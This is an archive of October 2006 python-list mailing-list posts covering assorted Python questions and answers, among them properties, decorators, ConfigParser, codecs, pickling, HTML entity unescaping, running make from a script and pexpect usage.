From: chrispearl at gmail.com (Chris Pearl)
Date: Tue, 31 Oct 2006 14:09:36 +0200
Subject: Python tools for managing static websites?
Message-ID: <d6e943400610310409i6c3672cdvba64f70f8a05547f@mail.gmail.com>

Are there Python tools to help webmasters manage static websites?

I'm talking about regenerating an entire static website - all the HTML
files in their appropriate directories and sub-directories. Each page
has some fixed parts (navigation menu, header, footer) and some
changing parts (body content, though in specific cases the normally
fixed parts might change as well). The tool should help to keep site
editing DRY every piece of data, including the recurring parts, should
exist only once.

The above should be doable with any decent templating tool, such as
those forming part of most CMSes and full-stack web-frameworks.
Normally I might have just resorted to a CMS/web-framework, running
locally on the webmaster's station, with the only addition being a
mechanism for generating all pages composing the site and saving them
as files.

But such a solution might not be enough, as the system I'm looking for
must be able to control the physical traits of the website as a
collection of files - e.g., creation and distribution of files among
several physical directories and subdirectories.

Any advice would be appreciated,
-Chris


From vasudevram at gmail.com  Fri Oct 27 14:07:06 2006
From: vasudevram at gmail.com (vasudevram)
Date: 27 Oct 2006 11:07:06 -0700
Subject: Using xtopdf,
	a PDF creation toolkit - Creating PDF Output from Plain Text,
	DBF, CSV, TDV, and XLS Data
Message-ID: <1161972426.551144.134070@b28g2000cwb.googlegroups.com>


Hi,

Though I posted about this article earlier, reposting it with a more
appropriate title, to make it easier for searches.

"Using xtopdf, a PDF creation toolkit"
URL: http://www.packtpub.com/article/Using_xtopdf

This is an article by me, written for Packt Publishing, about how to
use my xtopdf toolkit to create PDF from text, DBF, TDV, CSV and XLS
data.

xtopdf is available at http://www.dancingbison.com/products.html .

Enjoy,
and feel free to give your feedback on wanted features, bugs, etc. in
xtopdf - its appreciated.
Vasudev Ram
~~~~~~~~~~~~~~~~~~~~~~
Software consulting and training
Dancing Bison Enterprises
http://www.dancingbison.com
"Now creating PDFs from Python is even easier" - Steve Holden
http://del.icio.us/steve.holden/pdf 
~~~~~~~~~~~~~~~~~~~~~~



From kjellmf at gmail.com  Sun Oct 22 15:44:27 2006
From: kjellmf at gmail.com (Kjell Magne Fauske)
Date: 22 Oct 2006 12:44:27 -0700
Subject: Python and CMS
References: <mailman.933.1161518325.11739.python-list@python.org>
Message-ID: <1161546267.578778.35260@h48g2000cwc.googlegroups.com>

I recommend taking a look at Django [1]. It is not a CMS right out of
the box, but writing one using the Django framework is not that
difficult.

[1] http://www.djangoproject.com/

- Kjell Magne Fauske

Echo wrote:
> I am going to start working on a church website. And since I like
> python, I decided to use WSGI. However, I later found out about all
> the different CMS's in php. So I wondered if there where any in
> python.
>
> Sadly, I only found Plone, skeletonz, and PyLucid (If there is any
> more, please let me know). Of those three, only PyLucid supports WSGI
> and it didn't look very nice to me.
> Both Plone and skeletonz looked very nice. However, they can't be
> hosted on a regular web host(at least to my knowledge) since they run
> as the web server themselves. So hosting would cost more, at least 2-3
> times more from what I've seen.
>
> So I'm thinking of making a python CMS based on WSGI. I'm now trying
> to figure out a few things like the best way to store the content and
> how to manage/use plugins. For storing the content, the only ways I
> know of are as files or in a database. But I'm not sure what would be
> better. And as for how to do plugings, I plan on looking at Plone and
> skeletonz.
>
> As for working with WSGI, I have found
> Colubrid(http://wsgiarea.pocoo.org/colubrid/) and
> Paste(http://pythonpaste.org/). I was wondering if anyone knew of any
> other libraries that make working with WSGI easier. Also, I wondering
> if anyone would like to share their experiences of working with those.
>
>
> ps. I know that this is a big and complicated project. But no matter
> how far I get, it will be fun because its Python:)
>
> --
> "Now that I am a Christian I do not have moods in which the whole
> thing looks very improbable: but when I was an atheist I had moods in
> which Christianity looked terribly probable."
>   -C. S. Lewis
> 
> -Echo



From grahn+nntp at snipabacken.dyndns.org  Mon Oct  2 11:26:48 2006
From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn)
Date: 2 Oct 2006 15:26:48 GMT
Subject: How can I correct an error in an old post?
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
Message-ID: <slrnei2btn.gim.grahn+nntp@frailea.sa.invalid>

On 1 Oct 2006 10:18:59 -0700, barakad at gmail.com <barakad at gmail.com> wrote:
...
> and I wish to add my findings to the post, to prevent others from
> taking the wrong path.

> When I tried to replay to the post I received a reject message stating
> that it is impossible to replay to the topic since it is old and was
> closed by a manager.

That's through the Google Groups Usenet interface, right? Because on Usenet,
that's misleading at best -- we have no managers, and noone can "close a
topic". (It's alright for them to add this extra limitation, of course.)

> The question is how can I add this correction?

In Usenet terms, make a posting with a References: header which mentions the
Message-ID of the bad posting (just like this posting references yours, if
you look closely at the headers).  That's easier if the posting hasn't
already expired on your server, but by no means impossible if it has.

/Jorgen

-- 
  // Jorgen Grahn <grahn@        Ph'nglui mglw'nafh Cthulhu
\X/     snipabacken.dyndns.org>  R'lyeh wgah'nagl fhtagn!


From ath-admin at vt.edu  Fri Oct 20 08:17:48 2006
From: ath-admin at vt.edu (rick)
Date: Fri, 20 Oct 2006 08:17:48 -0400
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <mailman.821.1161331472.11739.python-list@python.org>
References: <eh8708$nc7$1@solaris.cc.vt.edu><7iNZg.117$1n3.3352@news.tufts.edu><eh89n4$r5q$1@solaris.cc.vt.edu><pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>	<eh9402$83e$1@solaris.cc.vt.edu>
	<mailman.821.1161331472.11739.python-list@python.org>
Message-ID: <ehaf30$5fc$1@solaris.cc.vt.edu>

Fredrik Lundh wrote:
> "Brad" <rtilley at vt.edu> wrote:
> 
>> Do you have children? How would your child feel if he brought you
>> something he had made and you then told him it was awful in *sooo* many
>> ways.
> 
> If you're arguing that everything a child does and says should be rewarded...


I'm not arguing that. Only that one should be polite and considerate 
when giving advice. That's all.

foo[::-1] is acceptable. So is the helper function that you posted:

>     def reverse(s):
>         return s[::-1]

My 2 min hack is awful to some, and I'm OK with that and fully expect 
it. But it works OK for me. Is there not room for solutions such as this 
in Python?

No hard feelings. Let's close this thread. I'll accept the slicing and 
memorize it.

Thanks guys.


From MonkeeSage at gmail.com  Sun Oct  1 18:55:38 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 1 Oct 2006 15:55:38 -0700
Subject: The Python world tries to be polite [formerly offensive to
	another language]
References: <1159188351.960448.43660@d34g2000cwd.googlegroups.com>
	<1159555450.721085.51710@h48g2000cwc.googlegroups.com>
	<mailman.990.1159598785.10491.python-list@python.org>
	<1159601820.592847.42160@i3g2000cwc.googlegroups.com>
	<mailman.996.1159603783.10491.python-list@python.org>
	<_vidnZxCbMF-NYPYnZ2dnUVZ_qqdnZ2d@speakeasy.net>
	<efo6oj$ce6$1@mlucom4.urz.uni-halle.de>
	<1159730965.869927.322910@h48g2000cwc.googlegroups.com>
Message-ID: <1159743338.577830.177290@i42g2000cwa.googlegroups.com>

Ant wrote:
> Don't think so, I followed the thread along a little, and it seems to
> be correct. In addition, they seem to have the ? character as the Perl
> 6 equivalent of zip(). Those crazy guys.

Yup, I don't think it was a joke either; there are several other
"hyper" operators already in pugs:
http://svn.openfoundry.org/pugs/src/Pugs/Parser/Operator.hs (see tests:
http://svn.openfoundry.org/pugs/t/operators/hyper.t ).

Regards,
Jordan



From klachemin at comcast.net  Sat Oct 21 12:22:40 2006
From: klachemin at comcast.net (Kamilche)
Date: 21 Oct 2006 09:22:40 -0700
Subject: Detect Unused Modules
In-Reply-To: <slrnejjmp7.jga.sybrenUSE@schuimige.stuvel.eu>
References: <1161385707.141179.174310@b28g2000cwb.googlegroups.com>
	<slrnejjmp7.jga.sybrenUSE@schuimige.stuvel.eu>
Message-ID: <1161447760.933815.263270@m73g2000cwd.googlegroups.com>

> Nice as it is, but why not use pylint to check this and many other
> coding style issues?

I made this the first time I mangled some code because pychecker said
some modules were not used when they really were. The module wasn't
that complex, only 302 lines, but it got it wrong.



From odalrick at hotmail.com  Mon Oct 23 19:28:06 2006
From: odalrick at hotmail.com (Odalrick)
Date: 23 Oct 2006 16:28:06 -0700
Subject: Trouble with property
Message-ID: <1161646086.830038.51080@m7g2000cwm.googlegroups.com>

I'm having some trouble with using property. This class is supposed to
represent a rectangle that can never be outside an area.

I'll snip the parts I don't think are relevant. Or should I? I dunno.

class ConstrainedBox:
	def __init__( self, size, ratio ):
#              Various instance variables initialized
		self.reset( size )

	def reset( self, size ):
		self._width, self._height = size
		self._height_defining_dimension = self._width > self._height *
self.ratio
		make_log( ' _height_defining_dimension =' + str(
self._height_defining_dimension ) )
		if self._height_defining_dimension:
			self._max_linear_size = self._height
# This, and the corresponding line in the else clause is what is
causing trouble.
# self.linear_size is, as far as I can tell, the property I define last
in the class
# If I replace it with _set_linear_size, which it is supposed to call,
everything works
			self.linear_size = self._height
#
		else:
			self._max_linear_size = self._width
			self.linear_size = self._width
		self.center_box( self._width / 2, self._height / 2 )
# Lots of methods snipped
	def _set_linear_size( self, value ):
		if value >= self._min_linear_size:
			if value <= self._max_linear_size:
				self._linear_size = value
			else:
				self._linear_size = self._max_linear_size
		else:
			self._linear_size = self._min_linear_size
		self._scale_box()
# Some more snippage
# The property that is causing grief
	linear_size = property( _get_linear_size, _set_linear_size )
	rectangle = property( _get_rectangle )
	centre = property( _get_centre, _set_centre )


By adding some logging I found out that _set_linear_size never is
called, so the rectangle remains the default size forever.

/Oldarick



From fulvio at tm.net.my  Fri Oct 27 09:51:21 2006
From: fulvio at tm.net.my (Fulvio)
Date: Fri, 27 Oct 2006 21:51:21 +0800
Subject: Configfile
Message-ID: <200610272151.22206.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


HI,

I've a small doubt regarding the way to save a configuration file on the file 
manipulated by ConfigParser.
As far as I could understand this:

cp = ConfigParser.ConfigParser
cp.set(section,option)

will it do the set on the file or do I have to issue a "cp.write(fp)" in order 
to get it done?
My tests didn't resulted positively.

F




From jonas.esp at googlemail.com  Sat Oct 28 06:41:39 2006
From: jonas.esp at googlemail.com (MindClass)
Date: 28 Oct 2006 03:41:39 -0700
Subject: Import if condition is correct
In-Reply-To: <ehvbso$1k3$1@news.albasani.net>
References: <1162031606.988480.131330@k70g2000cwa.googlegroups.com>
	<ehvbso$1k3$1@news.albasani.net>
Message-ID: <1162032099.393489.321290@e3g2000cwe.googlegroups.com>


Georg Brandl wrote:
> MindClass wrote:
> > Is possible import a library according to a condition?
> >
> > if Foo == True:
> >     import bar
> >
>
> Why don't you try it?
>
I thinked that could be another way for import statement.

In that case I'll have to set a global variable before of the import
statements although I'd prefer not use them.



From nospam at jollans.com  Tue Oct  3 16:24:08 2006
From: nospam at jollans.com (Thomas Jollans)
Date: Tue, 3 Oct 2006 22:24:08 +0200
Subject: array tofile fromfile tosocket? fromsocket?
References: <1159896540.328282.242100@m7g2000cwm.googlegroups.com>
Message-ID: <efugt8$ima$03$3@news.t-online.com>

On Tue, 03 Oct 2006 10:29:00 -0700, "SpreadTooThin" <bjobrien62 at gmail.com>
let this slip:

> I was under the impression that a file and socket were interchangable
> (like a file descriptor).   Does anyone have an idea that might help me
> minimize the impact on my code?

are you looking for sockets' makefile method ?

-- 
Thomas Jollans alias free-zombie


From jweida at gmail.com  Tue Oct 17 12:52:31 2006
From: jweida at gmail.com (Jerry)
Date: 17 Oct 2006 09:52:31 -0700
Subject: Looking for assignement operator
In-Reply-To: <45350884$0$3751$426a74cc@news.free.fr>
References: <eh2n08$4ji$1@online.de>
	<1161095199.354431.157660@e3g2000cwe.googlegroups.com>
	<4534edf4$0$24770$426a74cc@news.free.fr>
	<1161101280.999698.26520@i42g2000cwa.googlegroups.com>
	<45350884$0$3751$426a74cc@news.free.fr>
Message-ID: <1161103950.938523.85770@i3g2000cwc.googlegroups.com>

Okay, very well, then I put a couple of extra 'self' identifiers in
there when I hand-copied the code over.  That would be my mistake for
letting my fingers do the walking and forgetting my brain.  Is there
anything else wrong with my code?

--
Jerry



From horpner at yahoo.com  Wed Oct 18 08:13:04 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 18 Oct 2006 14:13:04 +0200
Subject: codecs.EncodedFile
Message-ID: <slrnejc6jv.1nk.horpner@FIAD06.norwich.edu>

Perhaps I'm just bad at searching for bugs, but anyhow, I wanted
to know what you all thought about the following behavior.

A quick search of pydev archives yielded a nice wrapper to apply
to streams to perform decoding and encoding behind the scenes.
Assuming I get the correct encodings from somewhere (that's a
whole 'nother thread):

Here's the docs:

EncodedFile( file, input[, output[, errors]]) 

  Return a wrapped version of file which provides transparent
  encoding translation. 

  Strings written to the wrapped file are interpreted according
  to the given input encoding and then written to the original
  file as strings using the output encoding. The intermediate
  encoding will usually be Unicode but depends on the specified
  codecs. 

  If output is not given, it defaults to input. 

  errors may be given to define the error handling. It defaults
  to 'strict', which causes ValueError to be raised in case an
  encoding error occurs. 

Base on that, I wrote the following code at startup:

  sys.stdout = codecs.EncodedFile(sys.stdout, 'latin-1', 'cp437')
  sys.stdin = codecs.EncodedFile(sys.stdin, 'cp437', 'latin-1')

Now my application never returns from its first call to
sys.stdin.readline.

It turns out to be troublesome for my case because the
EncodedFile object translates calls to readline into calls to
read.

I believe it ought to raise a NotImplemented exception when
readline is called. 

As it is it silently causes interactive applications to
apparently hang forever, and breaks the line-buffering
expectation of non-interactive applications.

If raising the exception is too much to ask, then at least it
should be documented better.

-- 
Neil Cerutti
The choir invites any member of the congregation who enjoys
sinning to join the choir. --Church Bulletin Blooper


From bignose+hates-spam at benfinney.id.au  Tue Oct 24 08:40:22 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 24 Oct 2006 22:40:22 +1000
Subject: A py2exe like tool for Linux
References: <83e8215e0610240527n786189d3o78987cd1cb4dd66d@mail.gmail.com>
Message-ID: <87wt6pq43t.fsf@benfinney.id.au>

"Paolo Pantaleo" <paolopantaleo at gmail.com> writes:

> Hi,
>
> is thre something like py2exe for Linux? I don't need to build a
> standalone executable (most Linuxes have python instaled), but at
> least I need to provide all the needed libraries togheter with my
> source code, so users just need to download one file, and not several
> libraries.

Users of GNU/Linux expect, for the most part, to use their package
manager to install software. so you want something that will turn your
package into a package easily installed that way.

Fortunately, 'setuptools' has a 'bdist_rpm' target. (Search for
"Creating System Packages".)

    <URL:http://peak.telecommunity.com/DevCenter/setuptools>

-- 
 \      "You've got to think about big things while you're doing small |
  `\              things, so that all the small things go in the right |
_o__)                                    direction."  -- Alvin Toffler |
Ben Finney



From fiepye at atlas.cz  Sun Oct 29 03:37:58 2006
From: fiepye at atlas.cz (fiepye at atlas.cz)
Date: Sun, 29 Oct 2006 09:37:58 +0100
Subject: Parallel OO programming in Python.
Message-ID: <3a03faf224e84771b0fdac4cd1ed2954@atlas.cz>

Hello.

I am interested in parallel computing in Python. Except other modules I would like to use new modules for vector and matrix operations and scientific computing SciPy and NumPy. I have already installed LAPACK and BLAS libraries. It works well.

For object oriented parallel programming in Python on a single machine I can use techniques such as Bulk Synchronous Parallelism (BSP) or Message Passing Interface (MPI). There are mentioned some modules and packages for Python on
http://www.scipy.org/Topical_Software
Article: Parallel and distributed programming. 
After reading prerequisites and limitations I thing that the following ones could be good for me:
PyMPI
Pypar
MPI for Python

But I can't distinguish which one brings fewer limitations, is efficient in application and will develop in future.
My favorite is BSP, but I can't find a package for present SciPy and NumPy.

Could anybody give me a recommendation, which way I should go.

Thanks.
Fie Pye




---------------------------------------
M?me dal?? spot P.?tvrtn??ka. Pod?vejte se www.neuservis.cz




From onurb at xiludom.gro  Thu Oct  5 05:00:42 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Thu, 05 Oct 2006 11:00:42 +0200
Subject: Access to static members from inside a method decorator?
In-Reply-To: <1159968945.192014.249380@k70g2000cwa.googlegroups.com>
References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com>
Message-ID: <4524c9bb$0$23498$426a74cc@news.free.fr>

glen.coates.bigworld at gmail.com wrote:
> I'm developing a library at the moment that involves many classes, some
> of which have "exposed" capabilities.  I'm trying to design a nice
> interface for both exposing those capabilities, and inspecting
> instances to find out what capabilities they have.
> 
> At the moment, I'm leaning towards a superclass (Exposed) that defines
> a static method which is a decorator (expose) such that any derived
> class can mark a method with @Exposed.expose and it will then be later
> returned by getExposedMethods(), a la:
> 
> class Exposed:
>   @staticmethod
>   def expose( f ):
>     ...
> 
>   def getExposedMethods( self ):
>     ...
> 
> class Person( Exposed ):
>   @Exposed.expose
>   def talk( self, ... ):
>     ...
> 
> I'm trying to implement the decorator by having it populate a static
> member list of whatever class it's in with a reference to the method.
> getExposedMethods() would then return the contents of each of those
> lists from itself back to Exposed in the class hierarchy.  The first
> problem was that having a reference to the method (i.e. talk()) does
> not allow you to get a reference to the enclosing class (I had hoped
> im_class would lead me there). 

Not yet. When your decorator is called, the class object is not yet
created, and what you are decorating is a plain function.

> The real hiccup was that explicitly
> passing the class as an argument to the decorator generates a undefined
> global name error, presumably because at that point of execution the
> class object hasn't been fully created/initialised.

Exactly.

> So how can this be done? 

The simplest thing is to use a two-stages scheme : mark the functions as
exposed, then collect them:

def expose(func):
  func._exposed = True
  return func

def exposed(obj):
  return callable(obj) and getattr(obj, '_exposed', False)

class Exposing(object):
  @classmethod
  def get_exposed_methods(cls):
    try:
      exposeds = cls._exposed_methods
    except AttributeError:
      exposeds = []
      for name in dir(cls):
        obj = getattr(cls, name)
        if exposed(obj):
          exposeds.append(obj)
      cls._exposed_methods = exposeds
    return exposeds

class Parrot(Exposing):
  @expose
  def parrot(self, what):
    return "%s says %s" % (self, str(what))



HTH
-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From onurb at xiludom.gro  Wed Oct 11 07:16:31 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 11 Oct 2006 13:16:31 +0200
Subject: How to write Smart Python programs?
In-Reply-To: <mailman.294.1160556568.11739.python-list@python.org>
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>	<452cae13$0$24783$426a74cc@news.free.fr>
	<mailman.294.1160556568.11739.python-list@python.org>
Message-ID: <452cd290$0$8656$426a74cc@news.free.fr>

Theerasak Photha wrote:
> On 10/11/06, Bruno Desthuilliers <onurb at xiludom.gro> wrote:
> 
>> 2/ functions that returns a status code and modify their arguments.
> 
> Argument modification for lists with one item is *sometimes* used to
> emulate full lexical closure. (or at least that's what the folks on
> freenode #python told me)

Yes, but that's another point. What I was talking about (perhaps not
clearly) is mutable arguments used as returned values, ie:

C-smell:

def my_func(res):
  bar =  foo()
  if bar is None:
    return 1 # error
  else:
    res['bar'] = bar
    res['baaz'] = "blah"
    return 0 # no error

pythonic:

def my_func():
  bar = foo()
  if bar is None:
    raise FooBarError("no bar from foo")
  return dict(bar=bar, baaz='blah')


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From gagsl-py at yahoo.com.ar  Tue Oct 10 05:55:58 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 10 Oct 2006 06:55:58 -0300
Subject: A problem about File path encode
In-Reply-To: <8c8dcbe30610091814g195c9ddcv4c29f33fa29e425@mail.gmail.com
 >
References: <8c8dcbe30610091814g195c9ddcv4c29f33fa29e425@mail.gmail.com>
Message-ID: <7.0.1.0.0.20061010065236.04290218@yahoo.com.ar>

At Monday 9/10/2006 22:14, Kevien Lee wrote:

>   There is a problem about File path encode ,when i want to parse 
> an xml file.
>     xmldoc=minidom.parse("D:\Downloads\1.xml")
>IOError: [Errno 2] No such file or directory: 'D:\\Downloads\x01.xml'
>
>See the red line.the file path"D:\Downloads\1.xml" auto  changed 
>'D:\\Downloads\x01.xml'
>
>I think may be the version cause the problem (version2.4) at the 
>beginning,but when i changed the version2.5 ,

\ is a escape character. Use "D:\\Downloads\\1.xml" or 
r"D:\Downloads\1.xml" or "D:/Downloads/1.xml"
(I wrote this same message a few hours ago...!)



-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From marco.lierfeld at rwth-aachen.de  Thu Oct 12 10:39:19 2006
From: marco.lierfeld at rwth-aachen.de (Marco Lierfeld)
Date: Thu, 12 Oct 2006 16:39:19 +0200
Subject: Pickling an instance of a class containing a dict doesn't work
References: <4p6vk6Fh2jevU1@news.dfncis.de>
	<1160662300.159122.20520@m7g2000cwm.googlegroups.com>
	<1160662416.716488.19740@k70g2000cwa.googlegroups.com>
Message-ID: <4p72coFhibirU1@news.dfncis.de>

Jon Clements wrote:

>> if you change the above to:
>>
>> class subproject:
>>     def __init__(self):
>>         configuration = { }
>>         build_steps = [ ]
> 
> Of course, I actually meant to write self.configuration and
> self.build_steps; d0h!

Thank you Jon and Paul, you both were 100% right :) 

But I still don't understand, why the list was saved and the dict was not...
confusing ;)

Bye,
Marco


From mail at microcorp.co.za  Tue Oct 24 01:36:43 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Tue, 24 Oct 2006 07:36:43 +0200
Subject: Python 2.5 ; Effbot console ; thank ; pb release.
References: <453ce1a9$0$25910$ba4acef3@news.orange.fr>
	<ehioo2$fef$1@sea.gmane.org>
Message-ID: <021801c6f734$cb375900$03000080@hendrik>

 "Fredrik Lundh" <fredrik at pythonware.com> wrote:


M?ta-MCI wrote:

> For the professional developments, it is a major risk.

some days, I ask myself why I shouldn't just use GPL for everything I
do, and ship it as source code only.

</F>

because then you would deny your work to thousands of ungrateful, unmotivated
lazy buggers like me...

seriously, though- the OP's problem was that he was fixing something that was
not broken  - by upgrading, for some incomprehensible reason - and then
expecting that the whole world would follow, and ease his pain by intuiting what
he was using, and upgrading it for him, to make his chosen add ons compatible
with his upgrade...
I wonder what else his upgrade broke? - you obviously have a major task on your
hands as you are expected to fix that too...

Why are you surprised at ingratitude, BTW?

Keep up the good work.

- Hendrik




From fredrik at pythonware.com  Mon Oct 30 13:01:15 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 19:01:15 +0100
Subject: How to convert "&nbsp;" in a string to blank space?
In-Reply-To: <1162229197.315384.79940@f16g2000cwb.googlegroups.com>
References: <1162229197.315384.79940@f16g2000cwb.googlegroups.com>
Message-ID: <ei5el9$623$1@sea.gmane.org>

??? wrote:

> Is there any simple way to solve this problem?

&nbsp; corresponds to a non-breaking space, chr(160).  if you're only 
dealing with this specific XML/HTML entity, you can do

     text = text.replace("&nbsp;", " ")

or

     text = text.replace("&nbsp;", chr(160))

to handle arbitrary entities and character references, pass the data 
through an HTML or XML parser, or use something like:

     http://effbot.org/zone/re-sub.htm#unescape-html

</F>



From mfmdevine at gmail.com  Mon Oct  2 10:43:35 2006
From: mfmdevine at gmail.com (Mark Devine)
Date: Mon, 2 Oct 2006 15:43:35 +0100
Subject: regular expressions in the pexpect module for python
Message-ID: <8249b1d00610020743r2c2a9ea8p4e853e98a94be875@mail.gmail.com>

Hi
I wonder if you can help me. I am using pexpect with python to access remote
machines and run commands on them. I pass commands into code like so:

def cmd(self, cmd):
        pp=[ "|", "]", "[", "(", ")", "$", "?", "*", ".", ":"]
        expcmd=cmd
        for element in pp:
            expcmd=expcmd.replace(element, "\\%s" % element)
        self.spawn.setecho(False)
        self.spawn.sendline(cmd)
        self.spawn.expect (expcmd)
        self.spawn.expect(self.prompt)
        return self.spawn.before

The above code is supposed to match the command, then match the prompt and
then return what is in between. Since pexpect uses regular expressions to
match what it sees
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20061002/120e2619/attachment.html>

From pavlovevidence at gmail.com  Tue Oct 24 23:32:55 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 24 Oct 2006 20:32:55 -0700
Subject: Want to reduce steps of an operation with dictionaries
In-Reply-To: <mailman.1126.1161738198.11739.python-list@python.org>
References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
	<mailman.1126.1161738198.11739.python-list@python.org>
Message-ID: <1161747175.606159.313510@i42g2000cwa.googlegroups.com>


Steve Holden wrote:
> pretoriano_2001 at hotmail.com wrote:
> > Hello:
> > I have next dictionaries:
> > a={'a':0, 'b':1, 'c':2, 'd':3}
> > b={'a':0, 'c':1, 'd':2, 'e':3}
> > I want to put in a new dictionary named c all the keys that are in b
> > and re-sequence the values. The result I want is:
> > c={'a':0, 'c':1, 'd':2}
> > How can I do this with one line of instruction?
> >
> You can't. Dictionaries aren't ordered collections.
>
> > I attempted the next but the output is not the expected:
> > c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)])
> > erroneously (for me) gets:
> > {'a': 0, 'c': 2, 'd': 3}
> >
> > Thanks for your help.
>
> In Python {'a':0, 'c':1, 'd':2} == {'a': 0, 'c': 2, 'd': 3}

Careful there, chief.  The Python interpreter disagrees:

>>> {'a':0, 'c':1, 'd':2} == {'a': 0, 'c': 2, 'd': 3}
False

I inferred that by "re-sequencing", the OP meant the keys in the new
dict were to be associated with a new range of integer values (probably
specifically the key's index in a sorted list of keys).  It was an
unfortunate choice of words, as sequencing has a pretty specific
meaning in Python.


Carl Banks



From fredrik at pythonware.com  Mon Oct 30 10:05:03 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 16:05:03 +0100
Subject: Calling GNU/make from a Python Script
In-Reply-To: <45462091@news.bezeqint.net>
References: <45462091@news.bezeqint.net>
Message-ID: <ei54ap$te0$1@sea.gmane.org>

Efrat Regev wrote:

> 1. The script is not in the directory of the makefile, and changing the 
> locations of either is not an option. Consequently, the makefile fails, 
> since it can't find the targets/dependencies.

build_dir = "path/to/makefile"

cwd = os.getcwd() # get current directory
try:
     os.chdir(build_dir)
     os.system("make")
finally:
     os.chdir(cwd)

> 2. After searching around, it seems that os.system(..) should be avoided 
>   if there's an alternative.   Is there one in this case?

"make" is not an operating system service, no.

</F>



From rtilley at vt.edu  Thu Oct 19 20:07:27 2006
From: rtilley at vt.edu (Brad)
Date: Thu, 19 Oct 2006 20:07:27 -0400
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
	<pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
Message-ID: <eh9402$83e$1@solaris.cc.vt.edu>

Steven D'Aprano wrote:

> Gah!!! That's *awful* in so many ways.

Thanks... I'm used to hearing encouragement like that. After a while you 
begin to believe that everything you do will be awful, so why even 
bother trying?

<rant>

It has been my experience that Python has discouraging forums with 
someone always calling someone else an idiot or telling them they are 
awful in some way. I love Python, but the community is way too negative, 
uptight and generally down on users who do not have PhD's in CS or Math.

Do you have children? How would your child feel if he brought you 
something he had made and you then told him it was awful in *sooo* many 
ways. How does that reflect on you and the community you represent?

Cut people who don't think like you some slack, OK?

</rant>

> (1) The name is bad. "invert" is not the same as "reverse". Here's an
> invert: 1/2 = 0.5. Your function falsely claims numbers aren't invertable.

Dictionary.com
invert = to reverse in position, order, direction, or relationship.

It matters not that a sequence is thought of as being from left to 
right, top to bottom or right to left, does it? Read the sequence as you 
normally would (however that may be) and then invert it or read it in 
reverse to begin with.

I apologize for bringing this up. Thanks for your time.


From dakman at gmail.com  Mon Oct 30 12:38:34 2006
From: dakman at gmail.com (dakman at gmail.com)
Date: 30 Oct 2006 09:38:34 -0800
Subject: How can I import a script with an arbitrary name ?
In-Reply-To: <1162217006.567079.315440@i42g2000cwa.googlegroups.com>
References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com>
Message-ID: <1162229914.110409.149710@m7g2000cwm.googlegroups.com>

I had to do something like this a while back for a modular IRC bot that
I wrote.
__import__() will do the trick, however to avoid getting a cache of the
module I recomend doing something like...

mod = reload( __import__("%s-%s-%s" % ( t[0], t[1], t[2] ) ) )


leonel.gayard at gmail.com wrote:
> Hi all,
>
> I have a script responsible for loading and executing scripts on a
> daily basis. Something like this:
>
> import time
> t = time.gmtime()
> filename = t[0] + '-' + t[1] + '-' + t[2] + '.py'
> import filename
>
> So, I have a module with an arbitrary file name and I want to load it,
> and later access its function definitions.
> How can I do this ?  In my example, the last line will obviously not
> work.



From stephane at harobed.org  Fri Oct  6 04:28:37 2006
From: stephane at harobed.org (=?ISO-8859-1?Q?KLEIN_St=E9phane?=)
Date: Fri, 06 Oct 2006 10:28:37 +0200
Subject: Package to handle table text render (handle space or tab between
	the columns) ?
In-Reply-To: <mailman.1426.1160121819.10491.python-list@python.org>
References: <45260ab2$0$25946$ba4acef3@news.orange.fr>
	<mailman.1426.1160121819.10491.python-list@python.org>
Message-ID: <452613b6$0$5108$ba4acef3@news.orange.fr>

hanumizzle a ?crit :
> On 10/6/06, KLEIN St?phane <stephane at harobed.org> wrote:
>> Hi,
>>
>> I would like print tabular values on terminal (stdout). Are there
>> package to handle table text render ?
> 
> Have a look at:
> 
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/267662

Thanks, this package is very useful ! But I'm suprised than this package 
isn't in python standard library !

Regards,
Stephane


From sparks.m at gmail.com  Tue Oct 10 07:51:57 2006
From: sparks.m at gmail.com (Michael Sparks)
Date: 10 Oct 2006 04:51:57 -0700
Subject: Python component model
In-Reply-To: <UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
